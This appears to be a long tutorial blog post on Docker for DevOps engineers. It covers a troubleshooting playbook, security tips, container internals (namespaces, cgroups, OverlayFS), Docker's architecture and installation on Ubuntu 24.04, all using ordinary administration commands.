Tip: Container security questions cluster around a few themes: (1) run as non-root (USER); (2) minimal/pinned base images to shrink attack surface; (3) never bake secrets into layers (explain docker history); (4) scan images for CVEs (Scout/Trivy) in CI; (5) least privilege at runtime — drop capabilities, read-only fs, no --privileged. Bonus: the container shares the host kernel, so a kernel exploit can escape — keep the host patched and consider extra isolation (gVisor, rootless Docker).

Tip: Bake scanning into CI as a gate: fail the pipeline on HIGH/CRITICAL CVEs (trivy image --exit-code 1 --severity HIGH,CRITICAL). Combined with pinned base digests, this means an image can't silently drift into a vulnerable state between builds.

Note: A fintech team shipped a Node image with ENV STRIPE_KEY=sk_live_… baked in "temporarily." The image was pushed to a registry a contractor could pull. Months later, during an audit, docker history surfaced the live key sitting in a layer. They had to rotate the Stripe key, invalidate the image across every environment, and add a CI secret-scanner — a week of cleanup that one runtime -e flag (or a secrets manager) would have prevented entirely.

Troubleshooting Playbook

Think of this like a diagnostic chart: a container presents a symptom, you run a diagnose command to confirm the cause, then you apply the fix. You see a blank screen (symptom), open DevTools console (diagnose), spot the error (cause), patch the code (fix). Containers are no different — the tools just have different names.

90% of Docker problems are solved by three commands run in order: see what state the container is in (docker ps -a), read what it logged before dying (docker logs), then either inspect its config or jump inside it (docker inspect / docker exec -it). Master this loop and you will look like a wizard in interviews.

Symptom → Diagnose → Fix chart

Symptom	Diagnose (command)	Likely Cause	Fix
Container won't start / stuck in `Created` or `Restarting`	`docker ps -a` then `docker logs <name>`	Bad entrypoint, missing config/env, app crashes on boot, or a restart loop	Read logs, fix the underlying error, rebuild and re-run
Container exits immediately (`Exited (0)`)	`docker ps -a` + `docker logs <name>`	No long-running foreground process; `CMD` finished and nothing kept PID 1 alive	Run a process that stays in the foreground (e.g. `node server.js`); don't background your main process
Exits with non-zero code (`Exited (1)`, `Exited (127)`)	`docker logs <name>`	App threw on startup; `127` usually means "command not found"	Fix the app error; for `127`, verify the binary exists and the `CMD` path is correct
Image is huge (1GB+ for a small app)	`docker images` and `docker history <image>`	Full base image, build tools shipped, no `.dockerignore`, dev deps baked in	Multi-stage build, slim/alpine base, add `.dockerignore`, combine `RUN` layers
`port is already allocated`	`docker ps` then `sudo lsof -i :3000` (or `ss -ltnp \	grep 3000`)	Another container or host process is bound to that port
`permission denied` on a bind-mounted folder	`docker exec -it <name> ls -ln /path` and `id` inside	UID/GID inside container ≠ host file owner; or SELinux/AppArmor	`--user $(id -u):$(id -g)`, `chown` the host dir, or add `:z`/`:Z` on SELinux
Container A can't reach B by name	`docker network inspect bridge`; `docker exec -it A ping B`	Both on the default `bridge`, which has no DNS by name	Create a user-defined bridge and attach both: `docker network create appnet` + `--network appnet`
`no space left on device`	`docker system df` and `df -h`	Dangling images, stopped containers, unused volumes, build cache eating disk	`docker system prune -af` (add `--volumes` only if sure)
Cannot pull (`denied`, `unauthorized`, `toomanyrequests`)	Read the exact error from `docker pull <image>`	Not logged in, wrong tag, or Docker Hub anonymous rate limit	`docker login`; fix the tag; for rate limits, authenticate or wait
Code changes not reflecting after rebuild	`docker build` output (watch for `CACHED`)	Cached layer reused; or running an old image/container	Rebuild with `--no-cache`, re-tag and re-run; in dev, bind-mount source
Env var not set inside the container	`docker exec -it <name> env` or `docker inspect`	`-e`/`--env-file` not passed, or it's build-time `ARG` not runtime `ENV`	Pass `-e KEY=value` or `--env-file .env`; don't confuse `ARG` with `ENV`

The general debugging workflow

# 1. What is the state? (running, exited, restarting — and the exit code)
docker ps -a

# 2. What did it say before it died? (your single most useful command)
docker logs <container_name_or_id>
docker logs -f <container>          # follow live, like tail -f
docker logs --tail 50 <container>   # last 50 lines only

# 3. How is it configured? (env, mounts, network, IP, command)
docker inspect <container>
docker inspect -f '{{.State.ExitCode}}' <container>   # just the exit code

# 4. Get a shell inside a RUNNING container and poke around
docker exec -it <container> sh     # or 'bash' if the image has it

Four-step crash-debug loop: check state, read logs, reproduce interactively, then fix and rebuild.

Tip: A classic question is "a container starts and immediately stops, how do you debug it?" The winning answer names the loop: docker ps -a to confirm it exited and see the code, docker logs to read the error, then explain the most common cause — there was no long-running foreground process keeping PID 1 alive, or the app crashed on startup. If you can't exec into it (because it already exited), mention you can override the entrypoint to debug: docker run -it --entrypoint sh <image>.

Deep dive: container exits immediately

This is the #1 beginner trap and the #1 interview question. A container lives only as long as its main process (PID 1) runs. The moment that process exits, the container exits. It is like running npm run build and expecting a dev server to stay up — build finishes, process ends, done. You needed npm start (a long-running server) instead.

# Confirm it exited and check the code
docker ps -a
# "Exited (0)" = process finished cleanly, nothing to keep it alive
# "Exited (1)" or higher = app crashed; read the logs

docker logs <container>

# Can't exec because it already died? Override the entrypoint to get a shell:
docker run -it --entrypoint sh myimage
# Now run your CMD by hand and watch it fail in real time

# WRONG — the & backgrounds it, CMD returns instantly, container dies
CMD node server.js &

# RIGHT — runs in the foreground, holds the container open
CMD ["node", "server.js"]

Deep dive: port is already allocated

# Find who is holding host port 3000
docker ps                         # is another container mapping :3000?
sudo lsof -i :3000                # any host process on it?
ss -ltnp | grep :3000             # alternative on Ubuntu 24.04

# Fix A: stop the offender
docker stop <other_container>

# Fix B: just map to a free host port (left = host, right = container)
docker run -d -p 3001:3000 myimage
# App still listens on 3000 inside; you reach it at http://localhost:3001

Deep dive: image too big

# See sizes and which layers are fat
docker images
docker history <image>     # shows size added per layer

# Multi-stage: build stage has all the tooling, final stage is slim
FROM node:20 AS build
WORKDIR /app
COPY package*.json ./
RUN npm ci
COPY . .
RUN npm run build

FROM node:20-slim AS runtime
WORKDIR /app
COPY --from=build /app/dist ./dist
COPY package*.json ./
RUN npm ci --omit=dev
CMD ["node", "dist/server.js"]

Deep dive: no space left on device

# See the breakdown: images, containers, volumes, build cache
docker system df
docker system df -v        # verbose, per-item

# Reclaim everything unused (stopped containers, dangling/unused images, networks, build cache)
docker system prune -af    # -a = also unused images, -f = no prompt

# Target just one type if you prefer
docker image prune -af
docker container prune -f
docker builder prune -af   # build cache only

# Include volumes too — DANGER, can delete data (see warning)
docker system prune -af --volumes

Caution: docker system prune --volumes and docker volume prune delete anonymous and unused volumes — and that means real, persistent data (databases, uploads) can be wiped permanently. There is no undo. Never run prune --volumes on a production host without first confirming which volumes are in use (docker volume ls). When in doubt, prune images and build cache only.

Tip: Run docker system df before you blindly prune — it tells you whether the space is in images, volumes, or build cache, so you can reclaim surgically. Also, docker logs only works if the app writes to stdout/stderr; apps that log to a file inside the container will show nothing, so always configure your app to log to the console in containers.

Note: Prefer a day-by-day path? This is covered in Mission 90 Days 22–30 — a free 90-day guided DevOps program with browser terminal missions.

Note: A team's CI runner kept failing builds with no space left on device every Friday. docker system df revealed 40 GB of build cache. They added docker builder prune -af --filter "until=168h" (clear cache older than 7 days) to a nightly cron job. Builds stopped failing, and they never touched volumes, so no data was at risk. Diagnose with system df first, then prune the specific thing that grew.

Docker for DevOps: A Deep Dive into Images, Layers, and Compose

opscanopy — Sun, 16 Aug 2026 15:30:40 +0000

Docker is the tool that finally made "it works on my machine" a non-excuse. By packaging an application together with its exact dependencies into a portable image, Docker lets the same artifact run identically on a laptop, a CI runner, and a production server. This guide is a deep, practical tour for DevOps engineers: how images and layers actually work, how to write efficient and secure Dockerfiles, how containers talk to each other over networks, how to persist data with volumes, how to compose multi-service stacks, and how to take all of it to production. Work through it top to bottom, or jump to the part you need. For a structured learning path beyond this guide, see the Docker roadmap.

The Problem Docker Solves

The "Works on My Machine" Story

It's 2019. A developer at a startup has been grinding for 3 weeks on a Node.js app — a real-time dashboard for tracking delivery agents. The UI is slick, the APIs are fast, the PM is happy. He types npm start and everything just works. Perfectly.

He pushes the code to staging. The CI pipeline goes green. He Slacks his team: "Deployed! Please test."

3 minutes later:

Error: Cannot find module 'optional-chaining-polyfill'
Error: node: /lib/x86_64-linux-gnu/libc.so.6: version 'GLIBC_2.28' not found
npm ERR! peer dep missing: react@^17.0.0, required by react-query@3.39.0

His laptop: Node 14.18, npm 6.14, Ubuntu 22.04. The staging server: Node 12.22, npm 5.6, CentOS 7. Three days of debugging. Three days of "but it works on my machine!"

This problem was not unique — every developer at every company was facing it. Docker was the solution.

Dependency Hell — Real-World Examples

The "Works on My Machine" problem is a symptom of a deeper disease: dependency hell. Here are scenarios every developer has lived through:

Scenario	The Conflict	Pain Level
Two Python projects on same machine	Project A needs Python 2.7, Project B needs Python 3.9. `pip install` breaks both.	High
npm version conflict	App needs npm 6 for legacy scripts, another needs npm 8. Switching breaks lockfiles.	Medium
OpenSSL version mismatch	Dev has OpenSSL 3.0, prod server has 1.1. Node.js crypto breaks silently.	High
System library versions (glibc)	Compiled on Ubuntu 22, deployed on CentOS 7. Binary won't even load.	Critical
Ruby gem native extensions	Gem compiled against libxml2 on Mac, server has different libxml2. Segfault.	Critical

Note: Think of Docker like sharing a React component with node_modules — not just the code, but the exact node version, npm version, and OS libraries. Docker packages your application together with its entire environment.

Deployment Nightmares Before Docker

Before Docker, deploying an app to a new server looked like this:

# The legendary "deployment runbook" (50 pages of this)
ssh root@production-server-ip

# Step 1: Install the right Node version (pray it's compatible)
curl -fsSL https://deb.nodesource.com/setup_14.x | bash -
apt-get install -y nodejs

# Step 2: Hope npm is the right version
npm install -g npm@6.14.15

# Step 3: Clone app
git clone https://github.com/company/app.git /var/www/app
cd /var/www/app
npm install   # Often fails here due to native modules

# Step 4: Set up environment variables (done manually, often wrong)
export DB_HOST=192.168.1.100
export NODE_ENV=production
# (Someone always forgets one. App crashes at 2 AM)

# Step 5: Set up PM2 or systemd (manual, error-prone)
npm install -g pm2
pm2 start app.js --name "myapp"
pm2 startup  # Different command on every distro

# Step 6: Set up nginx (manual config, copy-paste errors)
# ... 20 more steps ...

# Total time: 4-8 hours per server
# Success rate: ~60% first try
# Consistency across servers: ZERO

And if you need to deploy to 10 servers? Do all of this 10 times — and something different will happen each time. This is called configuration drift — over time servers diverge from each other, and no one knows why production behaves differently.

The VM Tax — Resource Waste at Scale

Companies tried solving this with Virtual Machines — one VM per application. But VMs have a massive overhead:

Resource	Each VM Consumes	10 Apps = 10 VMs
RAM	2–4 GB minimum (OS alone)	20–40 GB wasted on OS
Disk	20–40 GB per VM image	200–400 GB
Boot time	1–5 minutes	Can't scale fast
CPU	Always-on OS processes	Significant idle overhead

A startup with 20 microservices using VMs wastes a minimum of 40 GB RAM just for operating systems. The same 20 services in Docker containers consume 2–5 GB of overhead — a dramatic difference that translates directly to cloud cost savings.

Docker's Shipping Container Analogy

Before the 1950s, international shipping was chaos. Every ship had a different design, every port used different equipment, and cargo had to be repacked repeatedly. A shipment from Europe to America could take months, and costs were astronomical.

In 1956, Malcolm McLean invented the standardized shipping container. One fixed size (20ft/40ft), standard corners, works on any ship, any port, any truck, any train. Load once in Shanghai — unload in Rotterdam without opening the box.

Result: Global trade exploded. Shipping costs dropped 90%.

Docker is the shipping container of software:

Shipping World	Software World
Different ships	Different servers/OS
Different ports	Different cloud providers
Cargo re-packing	Re-configuring for each environment
Standard container	Docker container
Load once, ship anywhere	Build once, run anywhere
McLean standardized trade	Docker standardized deployment

Tip: When asked "Why do you use Docker?" in an interview — use the shipping container analogy. Then give concrete numbers: "Our deployment time went from 4 hours to 15 minutes. Configuration drift eliminated. Dev-prod parity achieved."

Why Every Company Adopted Docker

By 2026, over 80% of cloud workloads run in containers. Here's why adoption was inevitable:

Dev-prod parity — Same container in dev, test, staging, production. No more surprises.
Faster onboarding — New developer joins? One command: docker compose up. Ready in 5 minutes, not 2 days.
Microservices enablement — Each service in its own container. Scale independently.
CI/CD becomes simple — Build a container, test it, push to registry, deploy. Repeatable every time.
Cost reduction — Pack more apps per server. AWS/GCP bills drop 40–60%.
Kubernetes compatibility — Kubernetes orchestrates containers. You cannot use Kubernetes without containers.

Containers vs Virtual Machines

Virtual Machines — The Apartment Building Analogy

Think of a VM like separate apartments in a large building. Each apartment has its own kitchen, its own bathroom, its own living room. What happens in one apartment is completely invisible to the other.

A Virtual Machine runs a complete operating system on top of a hypervisor — software that emulates physical hardware. Each VM thinks it owns the whole computer.

Hypervisor (VMware, VirtualBox, KVM, Hyper-V) sits between hardware and VMs
Each VM gets a full Guest OS (Windows, Ubuntu, etc.) — 1–4 GB just for the OS
Hardware is emulated — virtual CPU, virtual RAM, virtual disk
Strong isolation — a crash in VM1 doesn't affect VM2
Boot time: 1–5 minutes (full OS boot)

Containers — The Shared House Analogy

Think of containers like rooms in a shared house. You share the same kitchen and water supply, but each person has their own private room and lives independently.

A Container shares the host OS kernel but runs in an isolated process namespace. No hardware emulation, no duplicate OS.

Shared kernel — uses the host's Linux kernel directly
Each container gets an isolated view of processes, network, filesystem
No hypervisor overhead — near-native performance
Lightweight — MBs instead of GBs
Boot time: Milliseconds to seconds

Containers skip the Guest OS layer that VMs require, cutting overhead from gigabytes per app to near zero.

Detailed Comparison Table

Feature	Virtual Machine	Container
Startup Time	1–5 minutes (full OS boot)	Seconds (process start)
Size	2–40 GB per VM image	10 MB–1 GB (app + libs only)
OS	Full Guest OS per VM	Shares Host OS Kernel
Isolation Level	Hardware-level (very strong)	Process-level (strong, not absolute)
Performance Overhead	5–15% CPU/RAM overhead	<1–2% overhead (near-native)
Portability	Limited (hypervisor-specific)	Excellent (any Linux/Mac/Win with Docker)
Resource Usage	Heavy (duplicate OS per VM)	Light (shared kernel)
Density (per server)	5–20 VMs typical	50–500 containers typical
Security Isolation	Very strong (hardware boundary)	Good (namespaces + cgroups)
Best Use Case	Legacy apps, strong isolation, Windows workloads	Microservices, CI/CD, cloud-native apps

Tip: Real-world production numbers: Server utilization jumped from 30–40% (with VMs) to 80%+ (with containers). Deployment time dropped from 45 minutes to 8 minutes. Auto-scaling: containers spin up in 3 seconds vs 4 minutes for VMs — critical during peak load events.

When to Use VM vs Container

Use VM When...	Use Container When...
Running Windows workloads on Linux host	Running microservices/APIs
Need kernel-level isolation (security-critical)	CI/CD pipelines (build, test, deploy)
Legacy apps that need specific OS versions	Stateless applications
Running untrusted code (multi-tenant SaaS)	Development environments
Database servers needing dedicated resources	Auto-scaling workloads

Note: In enterprise environments, both are used together. VMs run Docker. In the cloud, an EC2 VM runs Docker containers on top. This is not a binary choice — they are complementary technologies.

What is Docker?

The Origin Story — From DotCloud to Changing the World

2008: Solomon Hykes co-founds DotCloud — a Platform-as-a-Service (PaaS) company in San Francisco. They're building tools to deploy customer apps on their platform, and internally they develop a container management tool.

March 21, 2013: PyCon, Santa Clara. Hykes gives a 5-minute lightning talk called "The Future of Linux Containers." He demos Docker — their internal tool they're open-sourcing. The audience is small. The impact: massive.

A 5-minute talk at a Python conference launched a technology that today runs in every data center in the world. That's what happens when the right solution meets the right problem at the right time.

2013: Docker open-sourced, goes viral on GitHub
2014: Google, Microsoft, Amazon begin supporting Docker
2015: Docker Inc. raises $95M, valuation $1B+
2016: Docker Swarm, Docker Compose GA. Enterprise adoption explodes.
2017: Kubernetes wins the orchestration wars, but Docker remains the build standard
2019: Docker Inc. sells its enterprise business to Mirantis, refocuses on developers
2023+: Docker Desktop 4.x, Docker Scout (security), AI-powered features
2026: Docker is as fundamental as Git — you cannot be a backend/DevOps engineer without it

Docker vs Other Container Runtimes

Docker is not just one tool — it is an ecosystem. But the container runtime market has other players:

Runtime	Used By	Key Feature	Should You Learn?
Docker	Developers, small teams, CI/CD	Best Developer Experience (DX), most popular, huge ecosystem	Yes, first priority
containerd	Kubernetes production clusters	Lightweight production runtime, CNCF graduated project	Learn after Docker
Podman	Red Hat / Fedora users, security-conscious teams	Rootless (no daemon), daemonless, Docker-compatible CLI	Be aware of it
CRI-O	OpenShift, Kubernetes	Minimal footprint, built for Kubernetes CRI interface	Be aware of it
runc	Low-level, all runtimes use it	OCI reference implementation, the actual container runner	Deep-dive later

Tip: When asked "What is the difference between Docker and containerd?" — say this: Docker is the full toolchain (build + run + push + compose). containerd is just the runtime that Kubernetes uses to actually run containers. Docker internally uses containerd. Think of it as: Docker = Full Car, containerd = The Engine.

Docker's Place in the DevOps Stack

Docker is the central connective tissue of the modern DevOps pipeline:

Code (React/Node/Python) → Build (docker build / Dockerfile) → Test (docker run test suite) → Registry (docker push / ECR / Docker Hub) → Deploy (ECS / Kubernetes / docker compose up)

Career Impact

Docker knowledge significantly expands your career options:

Skill Level	Typical Role	US (USD)	India (INR)
Without Docker	Junior/Mid Developer (Frontend/Backend)	$80k–120k	₹15–20 LPA
Docker + Kubernetes	DevOps / SRE (2–5 yrs exp)	$120k–170k	₹30–50 LPA
Docker + AWS + K8s + CI/CD	Senior DevOps / Staff SRE (5+ yrs exp)	$170k+	₹50+ LPA

Ranges are rough 2026 signals and vary widely by region, company size, and cost of living.

A React/frontend background is a unique advantage in DevOps — engineers who understand both frontend containerization and backend infrastructure are in high demand.

Docker By The Numbers — 2026

13M+ images on Docker Hub
13B+ pulls per month
20M+ Docker Desktop users
80% of cloud workloads containerized

Containerization Concepts — The Linux Magic

The Foundation — Why Linux?

Docker's magic comes from three specific Linux kernel features. Understanding them is what separates a senior engineer from a beginner — and this knowledge is invaluable in interviews when asked "How does Docker work internally?"

Docker containers are not magic — they're three Linux kernel features working together:

Namespaces — What a container can see (isolation of view)
Cgroups — What a container can use (resource limits)
Union Filesystem (OverlayFS) — How a container's filesystem is built

Linux Namespaces — The Isolation Magic

A namespace makes a container feel like it is the only process on the machine — like an actor on a film set who is made to feel they are actually in a royal palace, when they are actually standing on a soundstage.

Linux has 7 types of namespaces. Docker uses 6 of them:

PID Namespace — Process ID Isolation

The container believes it has its own process tree. Container's PID 1 = Host's PID 5678.

# Inside container: sees its own process tree
$ ps aux
PID   USER  CMD
1     root  node server.js   ← thinks it's PID 1!
12    root  /bin/sh

# On host: sees the real PID
$ ps aux | grep node
5678  root  node server.js   ← actually PID 5678

The container cannot see parent processes. Completely isolated process tree.

NET Namespace — Network Isolation

Each container gets its own network interfaces, IP address, routing table, and firewall rules.

# Container 1: has its own IP
$ docker exec container1 ip addr
172.17.0.2/16   ← container's IP

# Container 2: different IP
$ docker exec container2 ip addr
172.17.0.3/16   ← different IP, same host

# Host: sees docker0 bridge
$ ip addr show docker0
172.17.0.1/16   ← bridge connects them

MNT Namespace — Filesystem Isolation

The container has its own filesystem view. It appears to have a complete Linux filesystem — /etc, /usr, /var all separate.

# Container sees its own filesystem
$ docker exec mycontainer ls /
bin  dev  etc  home  lib  proc
root  sys  tmp  usr  var  app

# Host files are NOT visible in container
# (unless explicitly mounted with -v)

UTS Namespace — Hostname Isolation

Each container can have its own hostname, independent of the host machine.

# Set custom hostname for container
$ docker run --hostname=myapp-prod ubuntu hostname
myapp-prod

# Host machine sees its own hostname
$ hostname
prod-server-01

USER Namespace — User ID Mapping

Maps the container's root user to an unprivileged host user. Container "root" is NOT host root — important for security!

# Container root → host user 1000
# Even if container is "root",
# on host it's unprivileged UID 1000
# Security: container escape doesn't
# give attacker host root access

IPC Namespace — Inter-Process Communication Isolation

Containers cannot access each other's shared memory, semaphores, or message queues.

# Share IPC namespace between containers
# (for high-performance apps like Redis)
docker run --ipc=container:redis-container my-app

# Default: isolated IPC per container
# No shared memory leaks between apps

Cgroups — Resource Control

Control Groups (cgroups) control how much resource a container can use. If namespaces define what a container can see, cgroups define how much it can consume.

Think of cgroups as a resource budget per container:

# Memory limit: container cannot use more than 512MB
docker run --memory=512m nginx

# CPU limit: container gets max 50% of one CPU core
docker run --cpus=0.5 nginx

# Both together (production-ready)
docker run \
  --memory=512m \
  --memory-swap=512m \
  --cpus=0.5 \
  --cpu-shares=512 \
  nginx

# I/O limits (read/write speed)
docker run \
  --device-read-bps /dev/sda:100mb \
  --device-write-bps /dev/sda:50mb \
  nginx

# See current container resource usage
docker stats --no-stream

# Output:
# CONTAINER   CPU %   MEM USAGE / LIMIT    NET I/O
# nginx       0.1%    12MiB / 512MiB       1.2kB / 0B

Cgroup Subsystem	What It Controls	Docker Flag
`memory`	Max RAM usage, OOM killer behavior	`--memory=512m`
`cpu`	CPU time allocation	`--cpus=0.5`
`cpuset`	Which CPU cores to use	`--cpuset-cpus=0,1`
`blkio`	Block I/O limits (disk read/write)	`--device-read-bps`
`net_cls`	Network bandwidth tagging	(via tc/iptables)
`pids`	Max number of processes in container	`--pids-limit=100`

Caution: Always set memory and CPU limits on every production container. Without limits, a runaway container can crash the entire host server — the "noisy neighbour" problem. During peak traffic, if one container hogs CPU, all other containers will slow down. Limits protect all containers on the host.

Union Filesystem — OverlayFS

A Docker image is made of read-only layers. When you run a container, Docker adds a thin writable layer on top. This is OverlayFS (Overlay Filesystem).

# Example Dockerfile - creates layers
FROM ubuntu:22.04            # Layer 1: Base Ubuntu (~70MB)
RUN apt-get update           # Layer 2: Package index (~20MB)
RUN apt-get install -y curl  # Layer 3: curl binary (~5MB)
COPY app.js /app/            # Layer 4: Your app (~1MB)
CMD ["node", "app.js"]       # Layer 5: Metadata only

# See the layers of an image
$ docker history my-node-app
IMAGE         CREATED      SIZE     COMMENT
a1b2c3d4      2 hours ago  1.2MB    COPY app.js
f5e6d7c8      2 hours ago  5.1MB    apt-get install curl
g9h0i1j2      2 hours ago  22MB     apt-get update
ubuntu:22.04  2 weeks ago  72MB     base layer

Copy-on-Write (CoW) — The Secret Sauce

When a container modifies a file from a read-only layer:

Docker copies that file to the writable layer
Makes the modification in the writable layer
The original read-only layer is untouched
100 containers sharing the same image = base layers shared, only diffs stored

If 100 containers are using the same nginx image, there is still only one copy on disk. 100x efficiency!

# See OverlayFS in action on Linux host
$ docker inspect mycontainer | grep -A 10 GraphDriver
"GraphDriver": {
  "Data": {
    "LowerDir": "/var/lib/docker/overlay2/abc123/diff:
                 /var/lib/docker/overlay2/def456/diff",
    "MergedDir": "/var/lib/docker/overlay2/xyz789/merged",
    "UpperDir":  "/var/lib/docker/overlay2/xyz789/diff",
    "WorkDir":   "/var/lib/docker/overlay2/xyz789/work"
  }
}
# LowerDir = read-only image layers (stacked)
# UpperDir = writable container layer (your changes)
# MergedDir = what container sees (unified view)

Note (Senior Engineer Interview): "Both Docker containers and VMs provide isolation — so why are containers considered less secure?" Answer: VMs provide hardware-level isolation (hypervisor = hard boundary). Containers only use Linux kernel features — if there is a kernel vulnerability (like Dirty COW, runc CVE), container escape is possible. This is why multi-tenant environments running untrusted code prefer VMs or gVisor/Kata Containers.

Tip (Quick Summary): Docker container = Linux process + Namespaces (isolation of view: can't see others' processes, network, files) + Cgroups (resource limits: max CPU/RAM) + OverlayFS (layered filesystem: shared base + writable top). Everything else — Dockerfile, docker-compose, Kubernetes — is built on top of these three.

Docker Architecture Deep Dive

The Big Picture

Docker follows a client-server architecture. When you type docker run nginx, a lot is happening under the hood — think of it as an assembly line where each component performs a specific job.

The Docker CLI is a thin REST client; all heavy lifting happens inside the Docker daemon, which coordinates containerd and runc to run containers and communicates with registries for image storage.

1. Docker Client (CLI)

The Docker Client is the tool you use — the docker command. When you type docker run nginx, the client only translates CLI arguments into a REST API call and sends it to the Docker Daemon. The client itself does nothing else — it is just a translator.

# Docker CLI is just making REST API calls to the daemon
# You can curl the Docker socket directly

# List running containers (same as docker ps)
curl --unix-socket /var/run/docker.sock http://localhost/v1.43/containers/json

# Start a container via API
curl --unix-socket /var/run/docker.sock \
  -X POST \
  -H "Content-Type: application/json" \
  -d '{"Image": "nginx"}' \
  http://localhost/v1.43/containers/create

# Check Docker version via API
curl --unix-socket /var/run/docker.sock http://localhost/v1.43/version | jq

# See all API endpoints
curl --unix-socket /var/run/docker.sock http://localhost/v1.43/_ping

Tip: You can control a remote machine's Docker: export DOCKER_HOST=tcp://192.168.1.100:2376, then run normal docker commands. In production, always use TLS (port 2376), never plain port 2375!

2. Docker Daemon (dockerd)

The Docker Daemon (dockerd) is the background process that actually does the work. It accepts REST API requests and manages containers, images, networks, and volumes.

Feature	Details
Default Socket	`unix:///var/run/docker.sock`
TCP (TLS)	Port 2376 (production)
TCP (No TLS)	Port 2375 (NEVER in production!)
Config File	`/etc/docker/daemon.json`
Logs	`journalctl -u docker.service`
Restart	`sudo systemctl restart docker`

3. Docker Registry

Registry is where images are stored. Docker Hub is the default public registry, but enterprises use private registries:

Docker Hub — Default public registry. Free tier available. docker.io/library/nginx
AWS ECR — Amazon Elastic Container Registry. IAM integration.
GCR / GAR — Google Container/Artifact Registry. Seamless with GKE.
GHCR — GitHub Container Registry. Tight CI/CD integration.
Harbor — Open-source enterprise registry. Self-hosted. Vulnerability scanning built-in.
Artifactory — JFrog's universal artifact manager. Docker + Maven + npm in one place.

4. containerd — High-Level Runtime

containerd is a CNCF project that sits between the Docker Daemon and actual containers. It manages image pulling, storage, and container lifecycle. Kubernetes also uses containerd directly (without Docker).

# containerd has its own CLI: ctr
# Note: operates in a different namespace from Docker

# List images in containerd
sudo ctr images ls

# List containers
sudo ctr containers ls

# Pull image directly via containerd
sudo ctr images pull docker.io/library/nginx:latest

# Run container via containerd (low-level)
sudo ctr run docker.io/library/nginx:latest mynginx

# containerd socket
ls -la /run/containerd/containerd.sock

# Check containerd status
sudo systemctl status containerd

Note: Kubernetes v1.24+ removed Docker support. Kubernetes now talks directly to containerd via CRI (Container Runtime Interface). Docker's "removal" was only the removal of the Docker daemon — containers still run the same way because containerd and runc are the same underneath.

5. runc — Low-Level Runtime

runc is the reference implementation of the OCI Runtime Specification. It directly makes Linux kernel syscalls — creates namespaces, sets up cgroups, and starts the process. It is the actual tool that makes a "container" exist.

# runc version check
runc --version

# runc is not normally used directly
# But for understanding: containerd calls runc like this:
# runc create --bundle /path/to/bundle container_id
# runc start container_id
# runc delete container_id

Complete Flow: docker run nginx

You type docker run nginx
Docker CLI → REST API call → Docker daemon (via /var/run/docker.sock)
dockerd checks: is the image available locally? No → pull from Registry
dockerd → tells containerd to start the container
containerd → spawns a containerd-shim process
containerd-shim → calls runc
runc → makes Linux kernel syscalls (namespaces + cgroups setup)
Container process (nginx) starts
runc exits; containerd-shim stays alive (for I/O)
Container keeps running even on daemon restart

Docker Installation on Ubuntu 24.04 (Complete Guide)

Prerequisites Check

Caution: Check if Docker is already installed before starting. If an old version exists, remove it first: sudo apt remove docker docker-engine docker.io containerd runc

# System info check
uname -a
lsb_release -a
whoami

# Check if Docker already installed
docker --version 2>/dev/null || echo "Docker not installed"

# Remove old versions if they exist
sudo apt remove -y docker docker-engine docker.io containerd runc 2>/dev/null
sudo apt autoremove -y

Step 1: System Update

sudo apt update && sudo apt upgrade -y

# If the kernel was updated, reboot (optional but recommended)
# sudo reboot

Step 2: Install Prerequisites

sudo apt install -y \
  ca-certificates \
  curl \
  gnupg \
  lsb-release

# Verify install
curl --version
gpg --version

Step 3: Add Docker's Official GPG Key

# Create keyrings directory
sudo install -m 0755 -d /etc/apt/keyrings

# Download Docker's GPG key and convert to binary format
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | \
  sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg

# Set read permissions
sudo chmod a+r /etc/apt/keyrings/docker.gpg

# Verify key
gpg --show-keys /etc/apt/keyrings/docker.gpg

Note: The GPG key ensures packages come from Docker's official server and have not been intercepted. This protects against man-in-the-middle attacks. Always verify packages before installing.

Step 4: Add Docker Repository

echo \
  "deb [arch="$(dpkg --print-architecture)" signed-by=/etc/apt/keyrings/docker.gpg] \
  https://download.docker.com/linux/ubuntu \
  "$(. /etc/os-release && echo "$VERSION_CODENAME")" stable" | \
  sudo tee /etc/apt/sources.list.d/docker.list > /dev/null

# Verify repository was added
cat /etc/apt/sources.list.d/docker.list

# Expected output:
# deb [arch=amd64 signed-by=/etc/apt/keyrings/docker.gpg]
#   https://download.docker.com/linux/ubuntu noble stable

# Update apt cache with new repository
sudo apt update

Step 5: Install Docker Engine

sudo apt install -y \
  docker-ce \
  docker-ce-cli \
  containerd.io \
  docker-buildx-plugin \
  docker-compose-plugin

# Package breakdown:
# docker-ce              → Docker Community Edition (daemon)
# docker-ce-cli          → Docker CLI (the 'docker' command)
# containerd.io          → containerd runtime
# docker-buildx-plugin   → BuildKit for advanced image building
# docker-compose-plugin  → Docker Compose v2 (docker compose, not docker-compose)

# To install a specific version:
# List available versions
apt-cache madison docker-ce

# Install specific version
# sudo apt install docker-ce=5:26.0.0-1~ubuntu.24.04~noble \
#   docker-ce-cli=5:26.0.0-1~ubuntu.24.04~noble \
#   containerd.io docker-buildx-plugin docker-compose-plugin

Step 6: Verify Installation

sudo docker run hello-world

# Expected output:
# Hello from Docker!
# This message shows that your installation appears to be working correctly.

# Service status check
sudo systemctl status docker
sudo systemctl status containerd

Step 7: Post-Installation — Run Without sudo

# Create 'docker' group (usually already exists)
sudo groupadd docker 2>/dev/null || echo "Group already exists"

# Add current user to docker group
sudo usermod -aG docker $USER

# Apply group changes (no logout/login needed for this session)
newgrp docker

# Verify — run docker without sudo
docker run hello-world

# Permanent verification
groups $USER
# Output should include 'docker'

Caution: Adding a user to the docker group is practically equivalent to giving root access. Through the Docker socket (/var/run/docker.sock), anyone can mount a volume and access the host filesystem. Add users carefully on production servers. Rootless Docker is a more secure option.

Step 8: Enable Docker on Boot

sudo systemctl enable docker.service
sudo systemctl enable containerd.service

# Manual start/stop/restart
sudo systemctl start docker
sudo systemctl stop docker
sudo systemctl restart docker

# View logs
sudo journalctl -u docker.service -f      # Live logs
sudo journalctl -u docker.service --since "1 hour ago"

Post-Installation Verification

# Version info
docker --version
# Docker version 26.1.4, build 5650f9b

docker compose version
# Docker Compose version v2.27.1

# System info (detailed)
docker info

# Test container
docker run hello-world

# Interactive ubuntu container
docker run -it ubuntu bash

# Nginx web server test
docker run -d -p 8080:80 nginx
curl http://localhost:8080

# Cleanup
docker stop $(docker ps -q)
docker system prune -f

Common Installation Errors & Fixes

Error	Cause	Fix
`permission denied while trying to connect`	User not in docker group	`sudo usermod -aG docker $USER && newgrp docker`
